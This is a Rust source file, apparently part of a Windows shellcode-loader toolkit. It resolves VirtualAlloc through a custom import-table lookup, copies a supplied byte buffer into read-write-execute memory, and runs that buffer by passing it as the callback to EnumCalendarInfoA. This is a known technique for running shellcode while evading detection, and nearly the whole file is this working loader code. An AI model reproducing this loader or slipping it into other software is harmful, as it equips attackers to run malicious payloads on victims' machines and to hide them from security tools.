use std::mem::transmute;
use windows::core::Result;
use std::ffi::c_void;
use crate::iat::get_function_address;
pub fn callback_enum_calendar_info_a(buf: &[u8]) -> Result<()> {
unsafe {
let virtual_alloc_addr = get_function_address("kernel32.dll", "VirtualAlloc")?;
let virtual_alloc_fn: unsafe extern "system" fn(
*mut c_void, usize, u32, u32, ) -> *mut c_void = transmute(virtual_alloc_addr);
let addr = virtual_alloc_fn(
std::ptr::null_mut(),
buf.len(),
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE,
);
if addr.is_null() {
return Err(windows::core::Error::from_win32());
}
std::ptr::copy_nonoverlapping(buf.as_ptr().cast(), addr, buf.len());
let enum_calendar_info_addr = get_function_address("kernel32.dll", "EnumCalendarInfoA")?;
let enum_calendar_info_fn: unsafe extern "system" fn(
Option<unsafe extern "system" fn(*mut i16) -> i32>, u32, u32, u32, ) -> i32 = transmute(enum_calendar_info_addr);
let result = enum_calendar_info_fn(
Some(transmute(addr)),
0x0c00, ENUM_ALL_CALENDARS,
CAL_SMONTHNAME1,
);
if result == 0 {
return Err(windows::core::Error::from_win32());
}
}
return Ok(());
}
const MEM_COMMIT: u32 = 0x00001000;
const MEM_RESERVE: u32 = 0x00002000;
const PAGE_EXECUTE_READWRITE: u32 = 0x40;
const ENUM_ALL_CALENDARS: u32 = 0xFFFFFFFF;
const CAL_SMONTHNAME1: u32 = 0x00000015;